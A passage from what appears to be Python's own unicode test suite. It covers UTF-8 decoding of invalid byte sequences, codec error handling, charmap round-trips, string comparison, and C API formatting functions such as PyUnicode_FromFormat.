'F0 BF BF', 'F1 80', 'F1 BF', 'F1 80 80', 'F1 80 BF', 'F1 BF 80', 'F1 BF BF', 'F3 80', 'F3 BF', 'F3 80 80', 'F3 80 BF', 'F3 BF 80', 'F3 BF BF', 'F4 80', 'F4 8F', 'F4 80 80', 'F4 80 BF', 'F4 8F 80', 'F4 8F BF' ] FFFD = '\ufffd' for seq in sequences: self.assertCorrectUTF8Decoding(bytes.fromhex(seq), '\ufffd', 'unexpected end of data') def test_invalid_cb_for_2bytes_seq(self): """ Test that an 'invalid continuation byte' error is raised when the continuation byte of a 2-bytes sequence is invalid. The start byte is replaced by a single U+FFFD and the second byte is handled separately when errors='replace'. E.g. in the sequence <C2 41>, C2 is the start byte of a 2-bytes sequence, but 41 is not a valid continuation byte because it's the ASCII letter 'A'. """ FFFD = '\ufffd' FFFDx2 = FFFD * 2 sequences = [ ('C2 00', FFFD+'\x00'), ('C2 7F', FFFD+'\x7f'), ('C2 C0', FFFDx2), ('C2 FF', FFFDx2), ('DF 00', FFFD+'\x00'), ('DF 7F', FFFD+'\x7f'), ('DF C0', FFFDx2), ('DF FF', FFFDx2), ] for seq, res in sequences: self.assertCorrectUTF8Decoding(bytes.fromhex(seq), res, 'invalid continuation byte') def test_invalid_cb_for_3bytes_seq(self): """ Test that an 'invalid continuation byte' error is raised when the continuation byte(s) of a 3-bytes sequence are invalid. When errors='replace', if the first continuation byte is valid, the first two bytes (start byte + 1st cb) are replaced by a single U+FFFD and the third byte is handled separately, otherwise only the start byte is replaced with a U+FFFD and the other continuation bytes are handled separately. E.g. in the sequence <E1 80 41>, E1 is the start byte of a 3-bytes sequence, 80 is a valid continuation byte, but 41 is not a valid cb because it's the ASCII letter 'A'. Note: when the start byte is E0 or ED, the valid ranges for the first continuation byte are limited to A0..BF and 80..9F respectively. Python 2 used to consider all the bytes in range 80..BF valid when the start byte was ED. This is fixed in Python 3. """ FFFD = '\ufffd' FFFDx2 = FFFD * 2 sequences = [ ('E0 00', FFFD+'\x00'), ('E0 7F', FFFD+'\x7f'), ('E0 80', FFFDx2), ('E0 9F', FFFDx2), ('E0 C0', FFFDx2), ('E0 FF', FFFDx2), ('E0 A0 00', FFFD+'\x00'), ('E0 A0 7F', FFFD+'\x7f'), ('E0 A0 C0', FFFDx2), ('E0 A0 FF', FFFDx2), ('E0 BF 00', FFFD+'\x00'), ('E0 BF 7F', FFFD+'\x7f'), ('E0 BF C0', FFFDx2), ('E0 BF FF', FFFDx2), ('E1 00', FFFD+'\x00'), ('E1 7F', FFFD+'\x7f'), ('E1 C0', FFFDx2), ('E1 FF', FFFDx2), ('E1 80 00', FFFD+'\x00'), ('E1 80 7F', FFFD+'\x7f'), ('E1 80 C0', FFFDx2), ('E1 80 FF', FFFDx2), ('E1 BF 00', FFFD+'\x00'), ('E1 BF 7F', FFFD+'\x7f'), ('E1 BF C0', FFFDx2), ('E1 BF FF', FFFDx2), ('EC 00', FFFD+'\x00'), ('EC 7F', FFFD+'\x7f'), ('EC C0', FFFDx2), ('EC FF', FFFDx2), ('EC 80 00', FFFD+'\x00'), ('EC 80 7F', FFFD+'\x7f'), ('EC 80 C0', FFFDx2), ('EC 80 FF', FFFDx2), ('EC BF 00', FFFD+'\x00'), ('EC BF 7F', FFFD+'\x7f'), ('EC BF C0', FFFDx2), ('EC BF FF', FFFDx2), ('ED 00', FFFD+'\x00'), ('ED 7F', FFFD+'\x7f'), ('ED A0', FFFDx2), ('ED BF', FFFDx2), # see note ^ ('ED C0', FFFDx2), ('ED FF', FFFDx2), ('ED 80 00', FFFD+'\x00'), ('ED 80 7F', FFFD+'\x7f'), ('ED 80 C0', FFFDx2), ('ED 80 FF', FFFDx2), ('ED 9F 00', FFFD+'\x00'), ('ED 9F 7F', FFFD+'\x7f'), ('ED 9F C0', FFFDx2), ('ED 9F FF', FFFDx2), ('EE 00', FFFD+'\x00'), ('EE 7F', FFFD+'\x7f'), ('EE C0', FFFDx2), ('EE FF', FFFDx2), ('EE 80 00', FFFD+'\x00'), ('EE 80 7F', FFFD+'\x7f'), ('EE 80 C0', FFFDx2), ('EE 80 FF', FFFDx2), ('EE BF 00', FFFD+'\x00'), ('EE BF 7F', FFFD+'\x7f'), ('EE BF C0', FFFDx2), ('EE BF FF', FFFDx2), ('EF 00', FFFD+'\x00'), ('EF 7F', FFFD+'\x7f'), ('EF C0', FFFDx2), ('EF FF', FFFDx2), ('EF 80 00', FFFD+'\x00'), ('EF 80 7F', FFFD+'\x7f'), ('EF 80 C0', FFFDx2), ('EF 80 FF', FFFDx2), ('EF BF 00', FFFD+'\x00'), ('EF BF 7F', FFFD+'\x7f'), ('EF BF C0', FFFDx2), ('EF BF FF', FFFDx2), ] for seq, res in sequences: self.assertCorrectUTF8Decoding(bytes.fromhex(seq), res, 'invalid continuation byte') def test_invalid_cb_for_4bytes_seq(self): """ Test that an 'invalid continuation byte' error is raised when the continuation byte(s) of a 4-bytes sequence are invalid. When errors='replace',the start byte and all the following valid continuation bytes are replaced with a single U+FFFD, and all the bytes starting from the first invalid continuation bytes (included) are handled separately. E.g. in the sequence <E1 80 41>, E1 is the start byte of a 3-bytes sequence, 80 is a valid continuation byte, but 41 is not a valid cb because it's the ASCII letter 'A'. Note: when the start byte is E0 or ED, the valid ranges for the first continuation byte are limited to A0..BF and 80..9F respectively. However, when the start byte is ED, Python 2 considers all the bytes in range 80..BF valid. This is fixed in Python 3. """ FFFD = '\ufffd' FFFDx2 = FFFD * 2 sequences = [ ('F0 00', FFFD+'\x00'), ('F0 7F', FFFD+'\x7f'), ('F0 80', FFFDx2), ('F0 8F', FFFDx2), ('F0 C0', FFFDx2), ('F0 FF', FFFDx2), ('F0 90 00', FFFD+'\x00'), ('F0 90 7F', FFFD+'\x7f'), ('F0 90 C0', FFFDx2), ('F0 90 FF', FFFDx2), ('F0 BF 00', FFFD+'\x00'), ('F0 BF 7F', FFFD+'\x7f'), ('F0 BF C0', FFFDx2), ('F0 BF FF', FFFDx2), ('F0 90 80 00', FFFD+'\x00'), ('F0 90 80 7F', FFFD+'\x7f'), ('F0 90 80 C0', FFFDx2), ('F0 90 80 FF', FFFDx2), ('F0 90 BF 00', FFFD+'\x00'), ('F0 90 BF 7F', FFFD+'\x7f'), ('F0 90 BF C0', FFFDx2), ('F0 90 BF FF', FFFDx2), ('F0 BF 80 00', FFFD+'\x00'), ('F0 BF 80 7F', FFFD+'\x7f'), ('F0 BF 80 C0', FFFDx2), ('F0 BF 80 FF', FFFDx2), ('F0 BF BF 00', FFFD+'\x00'), ('F0 BF BF 7F', FFFD+'\x7f'), ('F0 BF BF C0', FFFDx2), ('F0 BF BF FF', FFFDx2), ('F1 00', FFFD+'\x00'), ('F1 7F', FFFD+'\x7f'), ('F1 C0', FFFDx2), ('F1 FF', FFFDx2), ('F1 80 00', FFFD+'\x00'), ('F1 80 7F', FFFD+'\x7f'), ('F1 80 C0', FFFDx2), ('F1 80 FF', FFFDx2), ('F1 BF 00', FFFD+'\x00'), ('F1 BF 7F', FFFD+'\x7f'), ('F1 BF C0', FFFDx2), ('F1 BF FF', FFFDx2), ('F1 80 80 00', FFFD+'\x00'), ('F1 80 80 7F', FFFD+'\x7f'), ('F1 80 80 C0', FFFDx2), ('F1 80 80 FF', FFFDx2), ('F1 80 BF 00', FFFD+'\x00'), ('F1 80 BF 7F', FFFD+'\x7f'), ('F1 80 BF C0', FFFDx2), ('F1 80 BF FF', FFFDx2), ('F1 BF 80 00', FFFD+'\x00'), ('F1 BF 80 7F', FFFD+'\x7f'), ('F1 BF 80 C0', FFFDx2), ('F1 BF 80 FF', FFFDx2), ('F1 BF BF 00', FFFD+'\x00'), ('F1 BF BF 7F', FFFD+'\x7f'), ('F1 BF BF C0', FFFDx2), ('F1 BF BF FF', FFFDx2), ('F3 00', FFFD+'\x00'), ('F3 7F', FFFD+'\x7f'), ('F3 C0', FFFDx2), ('F3 FF', FFFDx2), ('F3 80 00', FFFD+'\x00'), ('F3 80 7F', FFFD+'\x7f'), ('F3 80 C0', FFFDx2), ('F3 80 FF', FFFDx2), ('F3 BF 00', FFFD+'\x00'), ('F3 BF 7F', FFFD+'\x7f'), ('F3 BF C0', FFFDx2), ('F3 BF FF', FFFDx2), ('F3 80 80 00', FFFD+'\x00'), ('F3 80 80 7F', FFFD+'\x7f'), ('F3 80 80 C0', FFFDx2), ('F3 80 80 FF', FFFDx2), ('F3 80 BF 00', FFFD+'\x00'), ('F3 80 BF 7F', FFFD+'\x7f'), ('F3 80 BF C0', FFFDx2), ('F3 80 BF FF', FFFDx2), ('F3 BF 80 00', FFFD+'\x00'), ('F3 BF 80 7F', FFFD+'\x7f'), ('F3 BF 80 C0', FFFDx2), ('F3 BF 80 FF', FFFDx2), ('F3 BF BF 00', FFFD+'\x00'), ('F3 BF BF 7F', FFFD+'\x7f'), ('F3 BF BF C0', FFFDx2), ('F3 BF BF FF', FFFDx2), ('F4 00', FFFD+'\x00'), ('F4 7F', FFFD+'\x7f'), ('F4 90', FFFDx2), ('F4 BF', FFFDx2), ('F4 C0', FFFDx2), ('F4 FF', FFFDx2), ('F4 80 00', FFFD+'\x00'), ('F4 80 7F', FFFD+'\x7f'), ('F4 80 C0', FFFDx2), ('F4 80 FF', FFFDx2), ('F4 8F 00', FFFD+'\x00'), ('F4 8F 7F', FFFD+'\x7f'), ('F4 8F C0', FFFDx2), ('F4 8F FF', FFFDx2), ('F4 80 80 00', FFFD+'\x00'), ('F4 80 80 7F', FFFD+'\x7f'), ('F4 80 80 C0', FFFDx2), ('F4 80 80 FF', FFFDx2), ('F4 80 BF 00', FFFD+'\x00'), ('F4 80 BF 7F', FFFD+'\x7f'), ('F4 80 BF C0', FFFDx2), ('F4 80 BF FF', FFFDx2), ('F4 8F 80 00', FFFD+'\x00'), ('F4 8F 80 7F', FFFD+'\x7f'), ('F4 8F 80 C0', FFFDx2), ('F4 8F 80 FF', FFFDx2), ('F4 8F BF 00', FFFD+'\x00'), ('F4 8F BF 7F', FFFD+'\x7f'), ('F4 8F BF C0', FFFDx2), ('F4 8F BF FF', FFFDx2) ] for seq, res in sequences: self.assertCorrectUTF8Decoding(bytes.fromhex(seq), res, 'invalid continuation byte') def test_codecs_idna(self): # Test whether trailing dot is preserved self.assertEqual("www.python.org.".encode("idna"), b"www.python.org.") def test_codecs_errors(self): # Error handling (encoding) self.assertRaises(UnicodeError, 'Andr\202 x'.encode, 'ascii') self.assertRaises(UnicodeError, 'Andr\202 x'.encode, 'ascii','strict') self.assertEqual('Andr\202 x'.encode('ascii','ignore'), b"Andr x") self.assertEqual('Andr\202 x'.encode('ascii','replace'), b"Andr? x") self.assertEqual('Andr\202 x'.encode('ascii', 'replace'), 'Andr\202 x'.encode('ascii', errors='replace')) self.assertEqual('Andr\202 x'.encode('ascii', 'ignore'), 'Andr\202 x'.encode(encoding='ascii', errors='ignore')) # Error handling (decoding) self.assertRaises(UnicodeError, str, b'Andr\202 x', 'ascii') self.assertRaises(UnicodeError, str, b'Andr\202 x', 'ascii', 'strict') self.assertEqual(str(b'Andr\202 x', 'ascii', 'ignore'), "Andr x") self.assertEqual(str(b'Andr\202 x', 'ascii', 'replace'), 'Andr\uFFFD x') self.assertEqual(str(b'\202 x', 'ascii', 'replace'), '\uFFFD x') # Error handling (unknown character names) self.assertEqual(b"\\N{foo}xx".decode("unicode-escape", "ignore"), "xx") # Error handling (truncated escape sequence) self.assertRaises(UnicodeError, b"\\".decode, "unicode-escape") self.assertRaises(TypeError, b"hello".decode, "test.unicode1") self.assertRaises(TypeError, str, b"hello", "test.unicode2") self.assertRaises(TypeError, "hello".encode, "test.unicode1") self.assertRaises(TypeError, "hello".encode, "test.unicode2") # Error handling (wrong arguments) self.assertRaises(TypeError, "hello".encode, 42, 42, 42) # Error handling (lone surrogate in PyUnicode_TransformDecimalToASCII()) self.assertRaises(UnicodeError, float, "\ud800") self.assertRaises(UnicodeError, float, "\udf00") self.assertRaises(UnicodeError, complex, "\ud800") self.assertRaises(UnicodeError, complex, "\udf00") def test_codecs(self): # Encoding self.assertEqual('hello'.encode('ascii'), b'hello') self.assertEqual('hello'.encode('utf-7'), b'hello') self.assertEqual('hello'.encode('utf-8'), b'hello') self.assertEqual('hello'.encode('utf-8'), b'hello') self.assertEqual('hello'.encode('utf-16-le'), b'h\000e\000l\000l\000o\000') self.assertEqual('hello'.encode('utf-16-be'), b'\000h\000e\000l\000l\000o') self.assertEqual('hello'.encode('latin-1'), b'hello') # Default encoding is utf-8 self.assertEqual('\u2603'.encode(), b'\xe2\x98\x83') # Roundtrip safety for BMP (just the first 1024 chars) for c in range(1024): u = chr(c) for encoding in ('utf-7', 'utf-8', 'utf-16', 'utf-16-le', 'utf-16-be', 'raw_unicode_escape', 'unicode_escape', 'unicode_internal'): with warnings.catch_warnings(): # unicode-internal has been deprecated warnings.simplefilter("ignore", DeprecationWarning) self.assertEqual(str(u.encode(encoding),encoding), u) # Roundtrip safety for BMP (just the first 256 chars) for c in range(256): u = chr(c) for encoding in ('latin-1',): self.assertEqual(str(u.encode(encoding),encoding), u) # Roundtrip safety for BMP (just the first 128 chars) for c in range(128): u = chr(c) for encoding in ('ascii',): self.assertEqual(str(u.encode(encoding),encoding), u) # Roundtrip safety for non-BMP (just a few chars) with warnings.catch_warnings(): # unicode-internal has been deprecated warnings.simplefilter("ignore", DeprecationWarning) u = '\U00010001\U00020002\U00030003\U00040004\U00050005' for encoding in ('utf-8', 'utf-16', 'utf-16-le', 'utf-16-be', 'raw_unicode_escape', 'unicode_escape', 'unicode_internal'): self.assertEqual(str(u.encode(encoding),encoding), u) # UTF-8 must be roundtrip safe for all code points # (except surrogates, which are forbidden). u = ''.join(map(chr, list(range(0, 0xd800)) + list(range(0xe000, 0x110000)))) for encoding in ('utf-8',): self.assertEqual(str(u.encode(encoding),encoding), u) def test_codecs_charmap(self): # 0-127 s = bytes(range(128)) for encoding in ( 'cp037', 'cp1026', 'cp273', 'cp437', 'cp500', 'cp720', 'cp737', 'cp775', 'cp850', 'cp852', 'cp855', 'cp858', 'cp860', 'cp861', 'cp862', 'cp863', 'cp865', 'cp866', 'cp1125', 'iso8859_10', 'iso8859_13', 'iso8859_14', 'iso8859_15', 'iso8859_2', 'iso8859_3', 'iso8859_4', 'iso8859_5', 'iso8859_6', 'iso8859_7', 'iso8859_9', 'koi8_r', 'koi8_t', 'koi8_u', 'kz1048', 'latin_1', 'mac_cyrillic', 'mac_latin2', 'cp1250', 'cp1251', 'cp1252', 'cp1253', 'cp1254', 'cp1255', 'cp1256', 'cp1257', 'cp1258', 'cp856', 'cp857', 'cp864', 'cp869', 'cp874', 'mac_greek', 'mac_iceland','mac_roman', 'mac_turkish', 'cp1006', 'iso8859_8', ### These have undefined mappings: #'cp424', ### These fail the round-trip: #'cp875' ): self.assertEqual(str(s, encoding).encode(encoding), s) # 128-255 s = bytes(range(128, 256)) for encoding in ( 'cp037', 'cp1026', 'cp273', 'cp437', 'cp500', 'cp720', 'cp737', 'cp775', 'cp850', 'cp852', 'cp855', 'cp858', 'cp860', 'cp861', 'cp862', 'cp863', 'cp865', 'cp866', 'cp1125', 'iso8859_10', 'iso8859_13', 'iso8859_14', 'iso8859_15', 'iso8859_2', 'iso8859_4', 'iso8859_5', 'iso8859_9', 'koi8_r', 'koi8_u', 'latin_1', 'mac_cyrillic', 'mac_latin2', ### These have undefined mappings: #'cp1250', 'cp1251', 'cp1252', 'cp1253', 'cp1254', 'cp1255', #'cp1256', 'cp1257', 'cp1258', #'cp424', 'cp856', 'cp857', 'cp864', 'cp869', 'cp874', #'iso8859_3', 'iso8859_6', 'iso8859_7', 'koi8_t', 'kz1048', #'mac_greek', 'mac_iceland','mac_roman', 'mac_turkish', ### These fail the round-trip: #'cp1006', 'cp875', 'iso8859_8', ): self.assertEqual(str(s, encoding).encode(encoding), s) def test_concatenation(self): self.assertEqual(("abc" "def"), "abcdef") self.assertEqual(("abc" "def"), "abcdef") self.assertEqual(("abc" "def"), "abcdef") self.assertEqual(("abc" "def" "ghi"), "abcdefghi") self.assertEqual(("abc" "def" "ghi"), "abcdefghi") def test_printing(self): class BitBucket: def write(self, text): pass out = BitBucket() print('abc', file=out) print('abc', 'def', file=out) print('abc', 'def', file=out) print('abc', 'def', file=out) print('abc\n', file=out) print('abc\n', end=' ', file=out) print('abc\n', end=' ', file=out) print('def\n', file=out) print('def\n', file=out) def test_ucs4(self): x = '\U00100000' y = x.encode("raw-unicode-escape").decode("raw-unicode-escape") self.assertEqual(x, y) y = br'\U00100000' x = y.decode("raw-unicode-escape").encode("raw-unicode-escape") self.assertEqual(x, y) y = br'\U00010000' x = y.decode("raw-unicode-escape").encode("raw-unicode-escape") self.assertEqual(x, y) try: br'\U11111111'.decode("raw-unicode-escape") except UnicodeDecodeError as e: self.assertEqual(e.start, 0) self.assertEqual(e.end, 10) else: self.fail("Should have raised UnicodeDecodeError") def test_conversion(self): # Make sure __str__() works properly class ObjectToStr: def __str__(self): return "foo" class StrSubclassToStr(str): def __str__(self): return "foo" class StrSubclassToStrSubclass(str): def __new__(cls, content=""): return str.__new__(cls, 2*content) def __str__(self): return self self.assertEqual(str(ObjectToStr()), "foo") self.assertEqual(str(StrSubclassToStr("bar")), "foo") s = str(StrSubclassToStrSubclass("foo")) self.assertEqual(s, "foofoo") self.assertIs(type(s), StrSubclassToStrSubclass) s = StrSubclass(StrSubclassToStrSubclass("foo")) self.assertEqual(s, "foofoo") self.assertIs(type(s), StrSubclass) def test_unicode_repr(self): class s1: def __repr__(self): return '\\n' class s2: def __repr__(self): return '\\n' self.assertEqual(repr(s1()), '\\n') self.assertEqual(repr(s2()), '\\n') def test_printable_repr(self): self.assertEqual(repr('\U00010000'), "'%c'" % (0x10000,)) # printable self.assertEqual(repr('\U00014000'), "'\\U00014000'") # nonprintable # This test only affects 32-bit platforms because expandtabs can only take # an int as the max value, not a 64-bit C long. If expandtabs is changed # to take a 64-bit long, this test should apply to all platforms. @unittest.skipIf(sys.maxsize > (1 << 32) or struct.calcsize('P') != 4, 'only applies to 32-bit platforms') def test_expandtabs_overflows_gracefully(self): self.assertRaises(OverflowError, 't\tt\t'.expandtabs, sys.maxsize) @support.cpython_only def test_expandtabs_optimization(self): s = 'abc' self.assertIs(s.expandtabs(), s) def test_raiseMemError(self): if struct.calcsize('P') == 8: # 64 bits pointers ascii_struct_size = 48 compact_struct_size = 72 else: # 32 bits pointers ascii_struct_size = 24 compact_struct_size = 36 for char in ('a', '\xe9', '\u20ac', '\U0010ffff'): code = ord(char) if code < 0x100: char_size = 1 # sizeof(Py_UCS1) struct_size = ascii_struct_size elif code < 0x10000: char_size = 2 # sizeof(Py_UCS2) struct_size = compact_struct_size else: char_size = 4 # sizeof(Py_UCS4) struct_size = compact_struct_size # Note: sys.maxsize is half of the actual max allocation because of # the signedness of Py_ssize_t. Strings of maxlen-1 should in principle # be allocatable, given enough memory. maxlen = ((sys.maxsize - struct_size) // char_size) alloc = lambda: char * maxlen self.assertRaises(MemoryError, alloc) self.assertRaises(MemoryError, alloc) def test_format_subclass(self): class S(str): def __str__(self): return '__str__ overridden' s = S('xxx') self.assertEqual("%s" % s, '__str__ overridden') self.assertEqual("{}".format(s), '__str__ overridden') def test_subclass_add(self): class S(str): def __add__(self, o): return "3" self.assertEqual(S("4") + S("5"), "3") class S(str): def __iadd__(self, o): return "3" s = S("1") s += "4" self.assertEqual(s, "3") def test_getnewargs(self): text = 'abc' args = text.__getnewargs__() self.assertIsNot(args[0], text) self.assertEqual(args[0], text) self.assertEqual(len(args), 1) def test_resize(self): for length in range(1, 100, 7): # generate a fresh string (refcount=1) text = 'a' * length + 'b' with support.check_warnings(('unicode_internal codec has been ' 'deprecated', DeprecationWarning)): # fill wstr internal field abc = text.encode('unicode_internal') self.assertEqual(abc.decode('unicode_internal'), text) # resize text: wstr field must be cleared and then recomputed text += 'c' abcdef = text.encode('unicode_internal') self.assertNotEqual(abc, abcdef) self.assertEqual(abcdef.decode('unicode_internal'), text) def test_compare(self): # Issue #17615 N = 10 ascii = 'a' * N ascii2 = 'z' * N latin = '\x80' * N latin2 = '\xff' * N bmp = '\u0100' * N bmp2 = '\uffff' * N astral = '\U00100000' * N astral2 = '\U0010ffff' * N strings = ( ascii, ascii2, latin, latin2, bmp, bmp2, astral, astral2) for text1, text2 in itertools.combinations(strings, 2): equal = (text1 is text2) self.assertEqual(text1 == text2, equal) self.assertEqual(text1 != text2, not equal) if equal: self.assertTrue(text1 <= text2) self.assertTrue(text1 >= text2) # text1 is text2: duplicate strings to skip the "str1 == str2" # optimization in unicode_compare_eq() and really compare # character per character copy1 = duplicate_string(text1) copy2 = duplicate_string(text2) self.assertIsNot(copy1, copy2) self.assertTrue(copy1 == copy2) self.assertFalse(copy1 != copy2) self.assertTrue(copy1 <= copy2) self.assertTrue(copy2 >= copy2) self.assertTrue(ascii < ascii2) self.assertTrue(ascii < latin) self.assertTrue(ascii < bmp) self.assertTrue(ascii < astral) self.assertFalse(ascii >= ascii2) self.assertFalse(ascii >= latin) self.assertFalse(ascii >= bmp) self.assertFalse(ascii >= astral) self.assertFalse(latin < ascii) self.assertTrue(latin < latin2) self.assertTrue(latin < bmp) self.assertTrue(latin < astral) self.assertTrue(latin >= ascii) self.assertFalse(latin >= latin2) self.assertFalse(latin >= bmp) self.assertFalse(latin >= astral) self.assertFalse(bmp < ascii) self.assertFalse(bmp < latin) self.assertTrue(bmp < bmp2) self.assertTrue(bmp < astral) self.assertTrue(bmp >= ascii) self.assertTrue(bmp >= latin) self.assertFalse(bmp >= bmp2) self.assertFalse(bmp >= astral) self.assertFalse(astral < ascii) self.assertFalse(astral < latin) self.assertFalse(astral < bmp2) self.assertTrue(astral < astral2) self.assertTrue(astral >= ascii) self.assertTrue(astral >= latin) self.assertTrue(astral >= bmp2) self.assertFalse(astral >= astral2) def test_free_after_iterating(self): support.check_free_after_iterating(self, iter, str) support.check_free_after_iterating(self, reversed, str) class CAPITest(unittest.TestCase): # Test PyUnicode_FromFormat() def test_from_format(self): support.import_module('ctypes') from ctypes import ( pythonapi, py_object, sizeof, c_int, c_long, c_longlong, c_ssize_t, c_uint, c_ulong, c_ulonglong, c_size_t, c_void_p) name = "PyUnicode_FromFormat" _PyUnicode_FromFormat = getattr(pythonapi, name) _PyUnicode_FromFormat.restype = py_object def PyUnicode_FromFormat(format, *args): cargs = tuple( py_object(arg) if isinstance(arg, str) else arg for arg in args) return _PyUnicode_FromFormat(format, *cargs) def check_format(expected, format, *args): text = PyUnicode_FromFormat(format, *args) self.assertEqual(expected, text) # ascii format, non-ascii argument check_format('ascii\x7f=unicode\xe9', b'ascii\x7f=%U', 'unicode\xe9') # non-ascii format, ascii argument: ensure that PyUnicode_FromFormatV() # raises an error self.assertRaisesRegex(ValueError, r'^PyUnicode_FromFormatV expects an ASCII-encoded format ' 'string, got a non-ASCII byte: 0xe9$', PyUnicode_FromFormat, b'unicode\xe9=%s', 'ascii') # test "%c" check_format('\uabcd', b'%c', c_int(0xabcd)) check_format('\U0010ffff', b'%c', c_int(0x10ffff)) with self.assertRaises(OverflowError): PyUnicode_FromFormat(b'%c', c_int(0x110000)) # Issue #18183 check_format('\U00010000\U00100000', b'%c%c', c_int(0x10000), c_int(0x100000)) # test "%" check_format('%', b'%') check_format('%', b'%%') check_format('%s', b'%%s') check_format('[%]', b'[%%]') check_format('%abc', b'%%%s', b'abc') # truncated string check_format('abc', b'%.3s', b'abcdef') check_format('abc[\ufffd', b'%.5s', 'abc[\u20ac]'.encode('utf8')) check_format("'\\u20acABC'", b'%A', '\u20acABC') check_format("'\\u20", b'%.5A', '\u20acABCDEF') check_format("'\u20acABC'", b'%R', '\u20acABC') check_format("'\u20acA", b'%.3R', '\u20acABCDEF') check_format('\u20acAB', b'%.3S', '\u20acABCDEF') check_format('\u20acAB', b'%.3U', '\u20acABCDEF') check_format('\u20acAB', b'%.3V', '\u20acABCDEF', None) check_format('abc[\ufffd', b'%.5V', None, 'abc[\u20ac]'.encode('utf8')) # following tests comes from #7330 # test width modifier and precision modifier with %S check_format("repr= abc", b'repr=%5S', 'abc') check_format("repr=ab", b'repr=%.2S', 'abc') check_format("repr= ab", b'repr=%5.2S', 'abc') # test width modifier and precision modifier with %R check_format("repr= 'abc'", b'repr=%8R', 'abc') check_format("repr='ab", b'repr=%.3R', 'abc') check_format("repr= 'ab", b'repr=%5.3R', 'abc') # test width modifier and precision modifier with %A check_format("repr= 'abc'", b'repr=%8A', 'abc') check_format("repr='ab", b'repr=%.3A', 'abc') check_format("repr= 'ab", b'repr=%5.3A', 'abc') # test width modifier and precision modifier with %s check_format("repr= abc", b'repr=%5s', b'abc') check_format("repr=ab", b'repr=%.2s', b'abc') check_format("repr= ab", b'repr=%5.2s', b'abc') # test width modifier and precision modifier with %U check_format("repr= abc", b'repr=%5U', 'abc') check_format("repr=ab", b'repr=%.2U', 'abc') check_format("repr= ab", b'repr=%5.2U', 'abc') # test width modifier and precision modifier with %V check_format("repr= abc", b'repr=%5V', 'abc', b'123') check_format("repr=ab", b'repr=%.2V', 'abc', b'123') check_format("repr= ab", b'repr=%5.2V', 'abc', b'123') check_format("repr= 123", b'repr=%5V', None, b'123') check_format("repr=12", b'repr=%.2V', None, b'123') check_format("repr= 12", b'repr=%5.2V', None, b'123') # test integer formats (%i, %d, %u) check_format('010', b'%03i', c_int(10)) check_format('0010', b'%0.4i', c_int(10)) check_format('-123', b'%i', c_int(-123)) check_format('-123', b'%li', c_long(-123)) check_format('-123', b'%lli', c_longlong(-123)) check_format('-123', b'%zi', c_ssize_t(-123)) check_format('-123', b'%d', c_int(-123)) check_format('-123', b'%ld', c_long(-123)) check_format('-123', b'%lld', c_longlong(-123)) check_format('-123', b'%zd', c_ssize_t(-123)) check_format('123', b'%u', c_uint(123)) check_format('123', b'%lu', c_ulong(123)) check_format('123', b'%llu', c_ulonglong(123)) check_format('123', b'%zu', c_size_t(123)) # test long output min_longlong = -(2 ** (8 * sizeof(c_longlong) - 1)) max_longlong = -min_longlong - 1 check_format(str(min_longlong), b'%lld', c_longlong(min_longlong)) check_format(str(max_longlong), b'%lld', c_longlong(max_longlong)) max_ulonglong = 2 ** (8 * sizeof(c_ulonglong)) - 1 check_format(str(max_ulonglong), b'%llu', c_ulonglong(max_ulonglong)) PyUnicode_FromFormat(b'%p', c_void_p(-1)) # test padding (width and/or precision) check_format('123'.rjust(10, '0'), b'%010i', c_int(123)) check_format('123'.rjust(100), b'%100i', c_int(123)) check_format('123'.rjust(100, '0'), b'%.100i', c_int(123)) check_format('123'.rjust(80, '0').rjust(100), b'%100.80i', c_int(123)) check_format('123'.rjust(10, '0'), b'%010u', c_uint(123)) check_format('123'.rjust(100), b'%100u', c_uint(123)) check_format('123'.rjust(100, '0'), b'%.100u', c_uint(123)) check_format('123'.rjust(80, '0').rjust(100), b'%100.80u', c_uint(123)) check_format('123'.rjust(10, '0'), b'%010x', c_int(0x123)) check_format('123'.rjust(100), b'%100x', c_int(0x123)) check_format('123'.rjust(100, '0'), b'%.100x', c_int(0x123)) check_format('123'.rjust(80, '0').rjust(100), b'%100.80x', c_int(0x123)) # test %A check_format(r"%A:'abc\xe9\uabcd\U0010ffff'", b'%%A:%A', 'abc\xe9\uabcd\U0010ffff') # test %V check_format('repr=abc', b'repr=%V', 'abc', b'xyz') # Test string decode from parameter of %s using utf-8. # b'\xe4\xba\xba\xe6\xb0\x91' is utf-8 encoded byte sequence of # '\u4eba\u6c11' check_format('repr=\u4eba\u6c11', b'repr=%V', None, b'\xe4\xba\xba\xe6\xb0\x91') #Test replace error handler. check_format('repr=abc\ufffd', b'repr=%V', None, b'abc\xff') # not supported: copy the raw format string. these tests are just here # to check for crashes and should not be considered as specifications check_format('%s', b'%1%s', b'abc') check_format('%1abc', b'%1abc') check_format('%+i', b'%+i', c_int(10)) check_format('%.%s', b'%.%s', b'abc') # Test PyUnicode_AsWideChar() @support.cpython_only def test_aswidechar(self): from _testcapi import unicode_aswidechar support.import_module('ctypes') from ctypes import c_wchar, sizeof wchar, size = unicode_aswidechar('abcdef', 2) self.assertEqual(size, 2) self.assertEqual(wchar, 'ab') wchar, size = unicode_aswidechar('abc', 3) self.assertEqual(size, 3) self.assertEqual(wchar, 'abc') wchar, size = unicode_aswidechar('abc', 4) self.assertEqual(size, 3) self.assertEqual(wchar, 'abc\0') wchar, size = unicode_aswidechar('abc', 10) self.assertEqual(size, 3) self.assertEqual(wchar, 'abc\0') wchar, size = unicode_aswidechar('abc\0def', 20) self.assertEqual(size, 7) self.assertEqual(wchar, 'abc\0def\0') nonbmp = chr(0x10ffff) if sizeof(c_wchar) == 2: buflen = 3 nchar = 2 else: # sizeof(c_wchar) == 4 buflen = 2 nchar = 1 wchar, size = unicode_aswidechar(nonbmp, buflen) self.assertEqual(size, nchar) self.assertEqual(wchar, nonbmp + '\0') # Test PyUnicode_AsWideCharString() @support.cpython_only def test_aswidecharstring(self): from _testcapi import unicode_aswidecharstring support.import_module('ctypes') from ctypes import c_wchar, sizeof wchar, size = unicode_aswidecharstring('abc') self.assertEqual(size, 3) self.assertEqual(wchar, 'abc\0') wchar, size = unicode_aswidecharstring('abc\0def') self.assertEqual(size, 7) self.assertEqual(wchar, 'abc\0def\0') nonbmp = chr(0x10ffff) if sizeof(c_wchar) == 2: nchar = 2 else: # sizeof(c_wchar) == 4 nchar = 1 wchar, size = unicode_aswidecharstring(nonbmp) self.assertEqual(size, nchar) self.assertEqual(wchar, nonbmp + '\0') # Test PyUnicode_AsUCS4() @support.cpython_only def test_asucs4(self): from _testcapi import unicode_asucs4 for s in ['abc', '\xa1\xa2', '\u4f60\u597d', 'a\U0001f600', 'a\ud800b\udfffc', 